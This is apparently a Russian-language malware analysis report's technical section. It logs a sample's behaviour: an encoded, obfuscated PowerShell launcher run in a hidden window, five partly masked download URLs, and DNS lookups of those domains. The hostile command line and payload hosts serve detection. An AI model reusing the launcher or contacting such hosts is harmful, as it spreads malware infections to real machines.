Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAEQAUgBPAFAAZQBnAGUAPQAnAEcAVgBHAFEATwB6AHUAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AFIAYABpAHQAWQBwAFIAYABPAFQATwBgAGMAbwBMACIAIAA9AC...
- http://gu##on.com/kani/E6JqEyw/
- http://gr###aden.com/blog/knEIK06090/
- http://gu##any.net/banner_tm/IUI2890/
- http://mi##nar.com/rideforhd/8Q/
- http://gs###ick.com/prueba/gRQ9G61/
- DNS ASK gu##on.com
- DNS ASK gr###aden.com
- DNS ASK gu##any.net
- DNS ASK mi##nar.com
- DNS ASK gs###ick.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAEQAUgBPAFAAZQBnAGUAPQAnAEcAVgBHAFEATwB6AHUAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AFIAYABpAHQAWQBwAFIAYABPAFQATwBgAGMAbwBMACIAIAA9AC...' (со скрытым окном)